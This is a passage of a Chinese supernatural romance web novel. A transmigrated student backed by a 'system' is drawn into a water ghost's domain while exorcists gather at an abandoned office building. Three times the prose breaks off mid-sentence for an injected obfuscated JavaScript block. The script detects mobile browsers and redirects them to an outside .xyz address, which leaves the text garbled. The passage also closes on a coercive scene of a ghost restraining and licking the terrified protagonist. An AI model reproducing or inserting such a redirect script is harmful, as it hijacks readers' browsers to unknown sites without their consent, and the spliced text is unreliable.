闻时秋本来在外边翻书等他,被他一喊,不由得就跟了进去,但刚一进门,又被捂住了眼睛,只来得及看见一双赤裸地踩着地面的小腿。 “我一个人洗澡害怕,你进来陪我。” 因为捂着闻时秋的眼睛,两个人贴得很近,闻时秋几乎能感受到卿向南身上的热气,带着沐浴露的香味,指尖还有水珠往下滴。 卿向南比他矮些,此刻肯定是踮脚才能严丝合缝地捂住他的眼睛。 闻时秋耳后有些发热,他嗯了一声,捏着卿向南的手腕,“我不看,你先洗澡吧,别感冒了。” 说着,闻时秋背过身去,听到卿向南再一次泡进水里的声音,他有些心猿意马,神思恍惚。 耳边听见卿向南叫他,“我要洗头了,你帮我看着点天花板角落啊,好担心有什么怪东西钻出来。” 怎么会有鬼?这种地方不会天然生鬼的,除非有鬼自己找过来。 但他还是看了看天花板四周,确认什么异常也没有,只在视线落下时看见被卿向南取下来的铃铛,于是把铃铛捡起来,叮嘱卿向南不可以摘下。 “难道是什么护身符吗?”卿向南埋在浴缸泡泡里,只露出小半张脸,一双眼睛猫儿般卷着睫毛,“我只是不想把它弄湿了。” “带着就好,听话。” 这种东西当然说不上是护身符,可确实能够保护卿向南,闻时秋不能实话实说,干脆只让卿向南听话。 闻时秋这么说,卿向南也就没有多问,只是将手伸出来,“那你现在就帮我戴上吧。” 等戴上铃铛,卿向南终于洗完了澡,他出去以后还是觉得不安全,又缩回去,背对着闻时秋用毛巾擦头发。 “等你洗完澡我们一起出去好了。” 话是这么说,背后的闻时秋却轻笑道,“小卿,我不介意你看我。” 卿向南头也没回,红着耳背闷声说,“你不看我,我也不看你,这样才公平,你别那么多话啦,快点洗!” 于是又只听到闻时秋地笑了一声不再多言。 等到身后传来水声,听到闻时秋要从浴缸里出来,卿向南更是立刻开门跑了出去。 一回头就看见闻时秋扯了浴巾裹在腰间,水珠顺着胸腹滑落,以指为梳将湿发往脑后一捋,就将卿向南按在床边,用吹风机帮他吹头发。 “刚才洗澡是为什么突然害怕?” “就是感觉怪怪的,”卿向南想了想,说出一个比较贴切的形容,“好像洗澡水变成了史莱姆一样把我裹住了。” 闻时秋眼底没了笑意,声音却还是温和的,“嗯?那确实很让人担心了。” “所以就立刻叫你来了嘛,”卿向南点开班级群查看作业,“作业和论文都不能耽误啊,我这几天不想出门,你帮我交。” 他又搜了一下新闻,还没看到超市那个老板的相关报道,有点儿不放心地问闻时秋,“你报警了没有啊?记得通知他家人啊,太惨了,突然就死在超市里面。” 闻时秋保证道:“警局会处理的,他的家人你也不用担心。” 【真不用担心吗?要是我家里人很久没有联系上,我肯定早就来看了。】 系统唔了一声。 ——确实不用担心他家里人的,这种情况应该一家人都死了。 【那个点也该吃午饭了吧,现在也已经晚上了,怎么家里人都会联系他了,真不敢想他家里人怎么办。】 系统点头嗯嗯。 真没想到卿向南在这种时候居然又聪明起来了。 难办,总不可能实话实说,告诉卿向南这种程度的死状肯定是一家人都已经被鬼蜮缠上了吧? 但是有些话还是要说的。 【宿主,准备一下。】 【准备什么?】 【你也该进去了。】 卿向南正打开作业的手指一抖,咬着唇忍住泪水。 【怎么这么快啊系统……】 【毕竟你白天也去了超市嘛……】 【呜呜呜可是我洗过澡了,我还洗了手了!】 【但毕竟你也还是进了超市了嘛……】 【呜呜呜所以我白天已经见鬼了吗?】 【对啊,不过。】 系统咦了一声,似乎在确认什么。 【大概你第一次进去的感觉会很不一样了,闻时秋给你的铃铛不会让你直接进入水鬼的鬼蜮的。】 不直接进入,那代表着还是会进去,卿向南无比忧伤地开始写作业,被闻时秋喊去吃饭的时候更是多吃了两碗。 闻时秋预备再给他加一碗饭:“看来今晚的菜有你喜欢的,还要再吃一碗吗?” 系统也很惊讶卿向南居然胃口这么好,不由得也问了一句。 “要加。” 卿向南眼含热泪地说。 【我决定了,就算是要死,也要当一个饱死鬼。】 · 顾铭凌已经走了一天一夜,并非他不想使用交通工具,而是水鬼的行踪非常怪异。 直到他此刻停下,他才终于确认,水鬼的踪迹呈网线交织,已经覆盖了附近十几里路,他所在的小区,不过是其中一条延伸线。 所有网络的中心,则在他眼前的建筑,一整栋阴暗破败的写字楼。 他知道这栋楼,本身并没有什么异常,只是因为烂尾而就此搁置,后来有乞丐在这里居住,也有流浪动物经过,曾经因为影响市容,还被整个清理了一遍,最后用围栏围起来,只等有人接手。 手里的罗盘指针不断颤动,墨斗细线更是将他的手臂勒得越来越深。 看来这里已经变成了水鬼的栖息地,也是另一个世界的出入口。 顾铭凌给家中拨去电话。 “是我,师叔,顾铭凌。” 电话那头嗯了一声,“有什么情况?” “我发现了水鬼的地址,这段时间恐怕已经有不少人收到了‘邀请函’,距离它开启的日子也近了。” “铭凌,万鬼窟有什么反应?” 顾铭凌这才看向自己身后。 天空中的残月似乎波动了几下,发出些微失真的噪音,无数扭曲如古树的影子自顾铭凌背后舒展开来,仔细一看,却是一张张恐怖各异的鬼脸缠绕在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985793|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至活动着向写字楼延展开去。 顾铭凌平静道,“它很兴奋,想要进食。” “查一下最近的失踪死亡人口,统计一下与水鬼和铭凌发来的地址重合的人的信息,”师叔吩咐完,这才又对顾铭凌说,“你觉得万鬼窟有把握吃掉它吗?” “师叔……” 顾铭凌有些不解地问,“天师,为什么一定要依靠鬼来捉鬼呢?” “铭凌,”电话那头的男子爽朗一笑,“你太爱钻牛角尖,万鬼窟是不可多得的至宝,它找上你,是你的福气,你也知道那是另一个世界,怎么还固执地要求我们不使用它的力量呢?” “好了,铭凌,去吧,这次会有人和你一起合作,如果磨合得好,以后天师府也会和特殊部门展开更多的合作,这对谁都是好事。” 男人看了一眼资料,“对了,那个人叫作冯义,才参与过一次国际行动,这段时间你们应该已经见过面了,他的能力很实用,你们可以多交流一下。” “什么能力?” “鬼画,你知道鬼话连篇吗?如果你们配合得好的话,希望这次人员伤亡能创新低。哦,对了,听说闻家的孩子也活跃在a市,要是遇上那个家伙,你的万鬼窟就先藏一手吧。” 男人笑着说,“他还没有绑定那个世界里的东西,有消息说闻家花了很大的代价,要他进入尸陵以求获得最强大的鬼。如果被他们知道你有万鬼窟,恐怕——” 男人语气仍然稀松平常,“天师府就只能为你收尸了。” “我知道了。” 顾铭凌漠然看着面前的写字楼,“不过,叔叔也有不知道的事吧?” “什么?” “我、冯义、闻时秋……”顾铭凌平静道,“现在正住在一层楼里。” “大概率我们三个人都会进入水鬼的鬼蜮,我很期待,我们三个人会在鬼蜮里遇到什么。” · 卿向南又给家里打了个电话,“你们最近还好吧?” “我很好啦,说起来爸妈要不要回乡下住两天?” “噢噢,没事,今天也在宿舍里休息啦,没出去玩,哪儿有!没骗人!” “嗯嗯,练诗哥哥呢?他工作顺利吗?噢噢,被聘用了?啊,原来前几天就被喊去公司上班了啊?最近都没见他?新人去公司这么忙吗?” 一通电话打完,卿向南趴在床上,忍不住滑到池练诗的界面,给池练诗发消息。 【卿向南:最近是不是很辛苦呀?】 对方没回他,卿向南也没气恼,破天荒调了新闻出来看,但最近也没报道什么伤亡事件,只说有些意外正在调查。 但到了网上搜索灵异事件就热闹很多,虽然大部分人还在按部就班地工作生活,但很多人已经减少了夜生活。 一点开,就看见一个帖子。 ——【最近饮用水好贵啊,涨了三块了,买不起了要。】 ——【还不是那个自来水有尸臭味的新闻害得,啊啊,再忍一忍吧!】 卿向南一边看,一边很自然地喝了一口手里的热水,心想还好自己也早早反应过来让闻时秋多囤了十几桶饮用水。 他正喝着,冷不丁看见下面一条评论。 ——【所以到底是谁觉得自来水厂可能出问题,饮用水就是干净的啊?就算真的哪家小区水箱里有尸体泡臭了,桶装水就真的安全吗?】 卿向南口中的水一时间咽不下去,白着脸把水吐了出来。 不要啊,所以到底什么水才能喝啊! 11. 鬼蜮 ——【别骗人了吧……饮用水可没喝出什么怪味啊。】 ——【这么说我最近感觉饮用水喝起来怪怪的……】 ——【都是小概率事件不要搞这种人心惶惶的言论啊!尸体很容易出现吗难道水箱里、自来水厂、饮水厂里都有?】 又滑动一下,只看见评论区直接吵了起来。 认为特意花钱买饮用水的是交智商税的,认为还在喝自来水的是胆子肥不怕出问题的,认为什么事都没有就是有人在恶意散播谣言的,认为世界要毁灭了又开始翻什么世界末日预言的…… 只有卿向南真的很担心自己是不是喝了不该喝的东西,盯着水杯嘴唇颤抖,终于喊了闻时秋一声。 闻时秋这几天都在家里陪他,也没有外出,偶尔会去书房自己处理点事情,但卿向南一喊,闻时秋就会尽快过来。 “水?”闻时秋了然点头,“那就都换新的吧。” 这在他看来不算什么大事,给家里打个电话,自然有人安排送来真正安全的水。 何况卿向南的担心不无道理,他这些日子已经收到了家里的消息,告诉他a市最近可能有水鬼出现,另一个世界的接口又要打开了。 鬼蜮会通过各种方式传播,另一个世界时不时就会出现在现实中,打开一个缺口,要求人进入。 有些收到“邀请函”的人试图把事情公布出来,那么邀请函就会进一步扩散,有些人则不予理睬,或者没有意识到这是一种邀请,并未能按时出现在鬼蜮中,很快也会死亡。 当然,收到邀请函以后,即使鬼蜮还没有打开,也不意味着安全楼下死掉的超市老板正是如此,恐怕是触碰了什么禁忌,所以才导致了死亡。 至于禁忌是什么,闻时秋没有收到邀请函,自然不会有什么线索,但在用水方面警惕一些自然不会出错。 于是刚出去买完菜回家的冯义又看见卿向南家里有人进入,似乎在安装什么,还在往里面运送新的桶装水。 真是财大气粗啊财大气粗。 冯义瞟了几眼,没看到卿向南,说不上是放心还是别的什么,转头回了自己房间。 他煮了一碗白水面,放上几根青菜,一边吃面条,一边看队长发来的资料。 【颜小五,男,24岁,失踪一个月,与家人的最后联系中提到他收到了面试通知,此后音讯全无。】 【池练诗,男,25岁,无父无母,死因是溺水,三天前其尸体出现在人民公园长椅上,为端正坐姿。距离死亡地点100米处有一废弃写字楼、一废弃酒店,随身携带简历。】 【张武华,男,27岁,失踪2个月,一周前其尸体出现在某办公楼楼梯间,腹部膨隆,尸检发现其肺部、腹腔含有大量水液。】 …… 冯义很快吃完面条,迅速看完剩下的资料,一边收拾碗筷,一边给队长拨去了电话。 “我看完了队长,这次的地点就是那栋写字楼吗?” “对,看来之前水鬼给出的邀请函是以面试通知的形式发放的,最近有异常的死者都和面试有关,死亡地点虽然是零散分布,但是数据部反复核对以后确认,那栋废弃的写字楼就是水鬼鬼蜮出现的地方,水鬼也主要栖息在那里。” “我什么时候过去?” “明天下午,顾家那个小辈会和你一起,他的天师纹和符箓跟你的鬼画可以配合。对了,你们都住一层楼这么久了,相处得怎么样?” “还好。” 冯义下意识地回答。 “应该没什么问题吧。” “那就好,记得这次尽可能保护被吞入鬼蜮的普通人,鬼的器物不是最优先的。另一个世界存在这种事瞒不住的,迟早会让所有人知道。” 女人说,“国外那件事我要去亲自处理,这边交给你了,别让普通人对政府失望,要让他们觉得即使真的有那个世界,政府也能保护好他们,明白吗?” “明白。” 女人满意地嗯了一声,啪地挂了电话。 冯义仔仔细细把家里打扫一遍,想了想,还是放了塑料薄膜盖住容易落灰的地方,把外面晾好的衣服都收了回来。 第二天出门的时候,他想了想,还是过去敲了一下卿向南的门,敲完门,才记起来自己其实可以直接发消息。 但门已经被卿向南打开了,卿向南手里抓着一个热腾腾的奶黄包,问他是不是有什么事。 “没什么,就是问下你今天出不出门?” “不出门了。” 几天的家里蹲生活已经让卿向南活得越来越自由,这个点了身上还穿着睡衣,脚上踩着凉鞋,还在吃早饭。 看见冯义,竟然转身用袋子装了几个包子给他,“你也吃。” 冯义下意识接过,又连忙说不用。 “诶呀,我有很多,你不够吃还可以问我要的。” 冯义莫名被塞了一袋奶黄包,有点儿尴尬地说,“谢谢。” “没事,不过干嘛问我出不出门啊?” 卿向南忍不住想,难道是最近冯义去上课都发现自己没来,所以过来问他? 于是连忙解释道:“我也只是偶尔不想出门,平时没这么懒的。” 冯义连忙说,“没有,不出门挺好的,我只是问问。” 他提着手里的奶黄包,连忙说了拜拜,转身去搭电梯了。 卿向南看他进了电梯,有点儿困惑地回了房间。 “小卿?刚刚是谁?” “哦,我之前的室友啦,他也和我们住一层楼。” 闻时秋笑道,“怎么没听你说起过?” “我有说过吧?之前还告诉你我舍友回来了呢。” “那看来是我忘记了。” “你自己记性不好,还问我呢。” 卿向南哼了一声,叼着包子往卧室走去。 “小卿,去干什么?” 卿向南取下包子,理所当然地回答道:“做作业啊,你以为我要去干嘛啊。” “还以为你生气了。” “我哪里有那么小气?不跟你说了,今天你也不许出门,记得在家里陪我!” “好好。” 卿向南做完作业,已经是下午一点半,正好可以睡个午觉。 睡之前他不放心地问了系统一声。 【男主最近没什么要紧事吧?】 【没有。】 【他会不会突然进入鬼蜮把我也带进去啊?】 【不会的,】系统看了看剧情,【目前为止他既没有收到“邀请函”,也没有被家族要求进入水鬼的鬼蜮,宿主可以放心。】 卿向南立刻闭上眼睛。 【那好,那我就睡午觉了!】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985794|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他睡得很快,睡梦中迷迷糊糊地喊了系统一声。 系统嗯声回答,结果才发现卿向南只是在说梦话。 【下个世界不要这么可怕了好不好。】 系统沉默片刻,只回答道。 【好。】 · 这一觉睡得很沉,醒来的时候太阳很热,卿向南下意识用手臂挡在眼前,含糊地喊了一声闻时秋,却听到池练诗的声音。 “小卿?” 不知为何,池练诗的笑容和以往不太一样,莫名有些陌生。 卿向南揉着眼睛,“你怎么在这里?” 啪—— 蜂鸣声忽然停止,卿向南站了起来,有些茫然地看着四周。 他此刻正站在天台上,炽热的阳光洒下来,不过一会儿就开始觉得热了。 他还穿着入睡时的衣服,赤着脚,连鞋都没有。 自然也没有手机,想给闻时秋打电话都不行。 卿向南沿着天台走了一圈儿,只看到地上放了一瓶水,他有些口渴,但到底没敢喝水,甚至远远绕过那瓶水,跑到了天台边沿。 抓着扶手往下看,一下子整个人都快昏过去,热风猛地朝脸上吹,让他害怕自己跌倒,楼层太高,根本看不到底。 卿向南已然泪流满面。 【系统,这和说好的不一样。】 【确实比较棘手。】 【怎么办啊,怎么在家里睡觉还会被拉过来啊!】 【这种情况下就只能相信剧情了,既然安排了你在最终boss回才死,这之前应该是怎么都不会死的。】 系统说完这句话,忽然停顿,接着又道。 【唔,但是不会死不代表不会吃亏,宿主下次还是别一个人睡觉了,太危险了。】 这句话说得很对。 在卿向南绕着天台又走了一圈儿以后,他不得不停下来,用手遮着头顶,一屁股坐在地上休息。 好热、口好干。 卿向南看见地上那瓶水,已经有不管三七二十一,先喝一口解渴的想法了。 【这里是水鬼的鬼蜮吗?】 【嗯。】 卿向南立刻更坚定了不喝水的想法。 额角都沁出汗来,卿向南感觉自己快被太阳烤干了,舔了舔嘴唇,庆幸自己是短发。 因为脖子汗津津的,很难受,如果是长发这个时候肯定已经热昏过去了。 汗水顺着下巴滴落的时候,卿向南觉得自己好像真的要脱水了。 他觉得有点儿晕了。 整个人站起来,继续寻找下去的路,手腕的铃铛忽然发出清脆的响声,卿向南抬起手腕,看着铃铛,有些愣神。 ——原来是会响的吗? 只在这个时候,他忽然听到有人说话。 “好热,我受不了了。” 接着,卿向南眼皮一跳,看见炽热的阳光下出现几个男生。 他们看起来好像真的很热,其中一个人穿着长裤,衬衣半敞着,露出结实的胸肌。 汗珠顺着胸膛沟壑往下滚落,那人一手按在膝头,盘坐在地。 听到另一人的抱怨,也只是闭目养神,连眼皮也未抬。 似乎察觉到什么,对方的视线看向卿向南所站着的位置—— 空空如也,一个人都没有。 12. 你不要命了,鬼也摸? 卿向南躲在墙后,心跳得很快。 居然是烙成? 他可烦死烙成了,好不容易这段时间没遇到这家伙,居然在这个时候碰面。 烙成怎么会也出现在这里啊? 虽然完全不知道对方之前为什么没有发现自己,但是卿向南已经不敢随便跑来跑去了。 他躲在墙后,但这个太阳很毒,不论躲到哪里都会被阳光直晒。 他感觉鬼蜮一点儿也不恐怖,反倒是晒快把他晒死了。 要是能突然有个门通往楼下就好了。 这是卿向南被晒昏过去之前脑子里仅剩的想法。 · “看起来像睡着了。” “真漂亮,怎么会一个人在这里?” 年轻的男声靠过来,手指轻轻抬起了他的下巴。 空气静了一瞬,随后便是一点儿不可思议的吸气声。 “怎么会这么好看?” 汗水几乎快把衣服打湿的人,紧闭的眼睫上只挂着细小的一滴水珠,简直像是一滴泪。 嘴唇微微张开,眉尾下垂地呵出热气。连锁骨上都挂着汗珠,被人拽着手臂拉起来的时候,半昏半醒地颤了下睫毛,皱着眉,纤细的指尖摁在地上,低声道,“不要。” “不要什么?”又有人靠了过来,那人甚至伸手,捏住了粉白的指尖。 卿向南皱眉,想把指尖从男人掌心里抽出来,挣扎几次,却抽不动,有点儿恼了地抿唇,“不要碰我。” 对方轻笑一声,惹得卿向南恼怒地睁眼,他晒得有些迷糊了,勉强抬起眼帘,正要发火,却终于看清对方的脸。 “烙、烙成……” 烙成攥着卿向南的指尖,将他的手抬起来,放在唇边轻碰了一下。 “小卿,怎么在这种地方见面,脾气还是这样大?” 卿向南用力把指尖抽出来,故作镇定地指责烙成,“要你管?” 他腿软的站不起来,只能并着双腿侧躺在地上,颇为恼怒地道,“你不要命了?见到什么都摸,鬼也摸吗?” “鬼?” 烙成的手指贴上他的腰侧,捏了一下,只笑道,“鬼大概不会这么软。” 卷翘的长睫不由得一颤,卿向南有点儿紧张地说,“那万一你们是鬼呢?” “那你也可以摸我,”说着,烙成握住卿向南的手贴上自己的颈侧,“你觉得我是人是鬼?” 指腹下的肌肤带着汗意,血管突突跳动,卿向南指尖一缩,连忙回道,“算你是人好了吧。” 烙成也松开手,“怎么没见闻时秋跟着你。” 卿向南忍不住想,要是闻时秋跟着我,我还会在这儿晒到昏过去吗?也没有你跟我叭叭说话的份儿了。 心里这么想,嘴巴上却不敢这么说,他还不知道闻时秋什么时候出现,更不知道闻时秋能不能找到他,于是终于选择暂时服软,说话也没那么理直气壮了。 “他、他也不是非要每天跟着我啊。” 卿向南说,“别说这些废话了,你们怎么进来的,有没有办法离开这里啊?” · 冯义中午就到了写字楼,路上他吃掉了卿向南塞给他的奶黄包,下车时看见顾铭凌也已经到了。 两个人略一点头,就算作打了招呼,冯义找了个位置坐下,只等其他接到“邀请函”的人过来。 没等多久,就陆陆续续有人靠近,这些人看到他们时也有点儿惊讶,不过慢慢地人越聚越多,也就互相交换了一些信息。 这些人收到的邀请函果然是面试信息。 “我收到的是一张通知单,打开门的时候看见走廊里有水,一张湿透了的招聘广告泡在里面,我当然没去捡,可是一晃眼看见上面居然印着我的照片和名字……就不得不硬着头皮蹲下来看,那上面的地址写了这里,我就过来了。” “我收到的是短信,家里天花板漏水的时候收到的,当时那滴水突然落我头上,吓死我了……” 其他人说的内容也差不多,杂七杂八的拼凑完,冯义发现即使没有找工作寻求的人也收到了这样的“邀请函”,但不同的是,这种东西混在正常的招聘信息里,自然会有找工作的人相信。 “小区楼下那个超市老板把收到的短信转发到了家庭群里,让家里想找工作的年轻人看看……”冯义跟顾铭凌交换信息,“他的行为吸引了水鬼的注意,所以很快死去了。” “顾铭凌?” 烙成注意到两人交流,直接靠了过来,“你们认识?有什么情况不能告诉同学的?” “说到底现在大家都要进去,不如提前告诉我们一些信息,至少等下不会拖你们后腿。” 顾铭凌和冯义对视一眼,还是把消息说了出来。 “鬼?” “不是故事传说里的鬼,它是另一个世界里的东西,在进入鬼蜮以前谁都不知道自己会经历什么,所以一定要小心为上,知道鬼的名字,也可以提前做些准备,这次的鬼是水鬼,进去以后,你们尽量不要接触任何水,更不要喝水。” “你刚才说,有个死掉的超市老板行为吸引了鬼的注意,所以他提前死了,”烙成问两人,“鬼既然要杀人,自然是传播得越快越好,怎么还会杀死帮他传播的人?” 他这句话是避开人群问的,因此顾铭凌迟疑了一下,还是说了实情。 “一些行为会引起鬼的注意,如果你有方法和能力,就可以让鬼为你所用,不过,有这种能力的人毕竟是少数。” “看来今天这种事已经不是第一次发生了,甚至已经有相关的系统建立了,”烙成问道,“进去以后怎么出来?” “等。” 冯义背着双肩包,清点着到场的人。 “等我和顾铭凌处理完这里的鬼以后,你们就可以安全离开了,所以一定记得尽可能不要乱走动。” “如果遇见了鬼,记得立刻逃跑,走散过一次的人也别再轻易相信。” 烙成了然地点头,“我明白了,意思就是让我们别正面冲突。” 冯义统计完了人数,擦了擦汗道,“是这样。” 写字楼本该阴森恐怖,但或许是因为现在是夏天,而他们又在一楼,所以不少人都开始流汗。 “那你们两个怎么解决鬼?毕竟你们只让我们逃跑。” 冯义收起本子,“是这样,我们有一些特殊的方法可以……” “听说你住在道观,我之前以为他们传谣呢,没想到真的能抓鬼?” 冯义重新背好背包,“差不多。” 烙成了然地点头,“那就要辛苦你们了。” “没事的,应该的,还希望大家能够相信自己可以活下来,不要太早崩溃。”冯义说完这句,又觉得自己说得不好,干脆没再说话。 只随着人越来越多,连顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985795|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铭凌也不由得皱眉。 “水鬼到底发了多少‘邀请函’?怎么会这么多人?” 还有人远远地站在烂尾楼围墙外,冯义正要招呼他们进来,忽然见他们浑身扭曲着匍匐在地,整个人抽动着化为一摊脓水。 一群进了写字楼的人已经有人控制不住地尖叫出声,也有人吐了出来。 冯义见怪不怪,倒是顾铭凌挑眉看了烙成一眼。 “你居然不怕?” “你们都不怕,我怕什么?”烙成看着地上那些漆黑的脓液,“确实很吓人,还好我们先进来了,只是如果在这里都怕得要昏过去,等进去了又怎么办?” 这句话倒是说得没错,顾铭凌高看他一眼。 “都是一个学校的,这些符纸你也帮我分发一下吧。” 烙成没有伸手接,“还是你们发给他们吧,让他们承你的恩,我发过去,算什么事?” 但他还是接过了自己那张。 “一人一张符纸,进去以后是不是就安全得多?” 冯义也是第一次跟顾铭凌合作,不清楚符纸到底有没有用,但看顾铭凌进入鬼蜮也带上了朱砂毛笔,自觉可能有些用处。 至少是聊胜于无的。 谁知顾铭凌却道,“当然会安全得多。” 听到这句话,在场这些收到“邀请函”被迫前来的人都松了口气,不由得把手里的符纸捏紧了些。 “别破坏符纸,避开任何可疑的东西,包括人,努力坚持到我们找到水鬼,处理掉它以后。” 冯义只觉得越来越热,脑海中忽然响起画卷翻动声,他有些难以置信地皱眉,“这么近?” 接着,便再一次叮嘱,“不要精神崩溃,我们会尽可能接你们离开的!” 他话音刚落,一群人便全都散开。 烙成和几个年轻人出现在了顶楼。 · 卿向南听完,立刻找人借电话。 他刻意避开了烙成,但他问另外几个人借电话的时候,那几个人都有些迟疑。 “不是说了我不是鬼吗?你们怎么这样,借一下电话会怎样啊!”卿向南着急道,“等我给我老公打完电话,我们都会很安全的,他肯定会立刻来接我的!” “你这么信任他?” 卿向南白了烙成一眼,“当然啊,他很厉害的好不好。” 烙成不由得嗤笑了一声,惹得卿向南又羞又恼,但不好再说什么重话,干脆扒拉到一个年轻人身上,各种保证许诺好处,让对方将信将疑地把手机掏了出来。 卿向南立刻给闻时秋打去电话,他看见男生的手机信号满格,甚至还有wifi信号的时候也没有多疑什么,电话接通的瞬间,下意识地喊,“老公,我现在……” 那声老公还带着颤抖的尾音,却被电话另一头诡异的呼吸声打断。 非常阴冷、黏腻的呼吸声,仔细听还带着水滴落下的声音,一下下击打在钢管上。 很让人不安。 卿向南脸色刷白,手机从指尖落了下去,他慌忙接住,谁都看得出来他脸色不好。 烙成这个时候靠了过来,手搭在卿向南的腰侧。 “小卿,你老公说了什么?” 他把老公两个字咬得很重,声音里带着一点儿,像是讥讽的笑意。 卿向南哆嗦着唇,颤颤巍巍道,“我,我好像打给、打给别的东西了……” 13. 不要喝水 “别的东西?我怎么听不懂?” 烙成问他,“你不是说要打给你老公吗?” 卿向南听不太懂烙成的轻笑,只抿唇,“我要是能把电话打给他,他肯定会来接我的。” “呵。” 烙成说。 “可你刚才,不就是打给你老公的吗?” “我是打给我老公的,但是——” 周围几个人都不明白两人在吵什么,他们本来吓得要死,可真的“进入”了顾铭凌和冯义所说的“另一个世界”以后,却发现除了在天台挨晒,也没有什么威胁。 故而忍不住都有些松懈,把手里的符纸拿出来看了看,心想应该不会有什么大事。 也因此,烙成和卿向南这边争起来的时候,除了偷偷看卿向南,也有点儿担心两人真的争个脸红脖子粗,正准备去拉架,却忽然见到烙成唇角一勾,露出个很是愉悦的笑容。 “当然,你是打给你老公的。” 卿向南不明所以,只觉得有点儿不舒服。 一扭头,正好看见几个年轻人手里的符纸,立刻说,“找不到闻时秋,我找顾铭凌也可以!” 他又想起冯义,“再说了,冯义不是也来了吗?我跟他可是室友呢,关系可好了。” 似乎想要验证什么般,卿向南强调道,“我们上课都坐一起的。” 烙成开口:“你好像和很多人都很熟。” 卿向南很自然地回答道:“当然啊,当然很熟了。” 他把手机还给小年轻,看了看四周,离地面上那瓶水坐得远远的。 “我人缘还不错啦,你不知道吧?” 可恶,不该说这句话的。 烙成明明也知道他经常受排挤的…… 但是烙成竟然没多说什么,只是沉脸,又坐到了另一边去。 不会就要这么坐到被晒死吧。 卿向南浑身冒汗,口渴地不断抿唇。 一旁几个人也是渴得要命,盯着地上的那瓶水,却没敢喝下去。 正在一群人被晒得昏昏沉沉时,忽然听到了冯义的声音,大概是离得太远,稍微有些失真。 “安全了,你们可以下楼了!” 卿向南狐疑地看了一眼头顶的太阳,还没说什么,身边已经有人搭话,“真的吗?可是我们从哪里下来啊?” 冯义的声音又远远地响起:“有门,你们从门那里下来。” 卿向南瞥了一眼烙成,虽然不想承认,可是一群人里面,他也真的只是跟烙成熟点儿。 那几个年轻人看起来已经有点儿炮灰像了,可是烙成毕竟在剧情里还是有些戏份的。 卿向南张了张嘴,想问要不要下去,可又问不出口,但烙成早就察觉到了他那一眼,竟然捏住卿向南的下颌,双眼沉沉地看他。 “怎么,现在想起我了?” 卿向南想躲开,可是烙成力气很重,捏的他下巴发红,只是一挣扎,对方竟然更逼近了一点儿。 “连句好话都不愿意跟我说,喊别人老公,倒是喊得很起劲?” 卿向南的睫毛低垂着,颤了颤,终于从嘴巴里挤出一句软话。 “就是想、想问你要不要下去……” 他不看烙成,被捏住的下巴尖儿红了一片,脸颊肉也被弄得微微鼓起,叫人心口一松,也说不出更过分的话了。 烙成松开手,“下去吧,一直待在楼上,迟早也会被晒死。” 旁边几个年轻人看见他发话,又想起他似乎和很有能力的顾铭凌、冯义认识,更是吃了定心丸。 直接走到不知何时出现的门前,推开门接连下楼。 卿向南跟在最后面,只在穿过门时迟疑了一下。 “喂,烙成……” 烙成顿住,没有回头看他,卿向南只得伸手,拽住烙成的袖子。 “你不觉得很奇怪吗?太阳还是那么晒,冯义说话的声音好远,真的解决了的话,打电话通知不就好了吗?” 烙成极为缓慢地转头,卿向南不知为何,心跳漏了一拍,整个人有些害怕地往后缩了一下。 “这么聪明?” 烙成看着他,卿向南很难形容烙成的表情,他觉得有点儿害怕,转身想回到天台,却忽然被捏住了脚腕,就这么拽着脚踝,往下一扯,即使双手抓住门框,也被拖到了烙成身下。 “干嘛这么聪明?” 烙成一条腿踩在卿向南腰侧,手指垂下来,捏住卿向南的下巴。 指腹很是用力地,在卿向南的唇角揉按着。 看到卿向南皱眉,更是咧嘴,露出一个几乎有些瘆人的笑来。 “很疼吗?” 他松开手,似乎很为难,“可是我已经很轻了,只是碰一碰,就好像我很欺负你的样子。” 黏腻的舌,沿着下巴,一直舔到眼睑。 卿向南没出息地被吓哭了,泪水顺着眼眶打转,因为对方的动作,泪水一下子涌了出来。 楼梯好像变得很黑,很长。 下面幽深而不见底,之前下去的那几个年轻人,也都再没有发出什么声音。 只有水滴声不断地响起,让人想起森冷阴暗的地下通道,覆着霜的天花板上,有水凝聚成滴,然后啪嗒、啪嗒、啪嗒地滴落。 “怎么不继续喊老公了?” 烙成的呼吸,变得阴冷而又绵长,像是吐着信子的蛇,缠绕住猎物,令人无法呼吸。 卿向南发颤的腿根忽然被按住,他害怕地喘息着,浑身僵直,只能看着烙成靠近。 “刚才不是还喊得很开心吗?打电话过来,对着听筒喊我老公?” 烙成的脸已经贴了过来,修长有力的手指透出青色,将卿向南的脸掰向自己,说话时,森冷的气息几乎窜进卿向南的口鼻中。 “再喊一声,嗯?” · “小卿?” 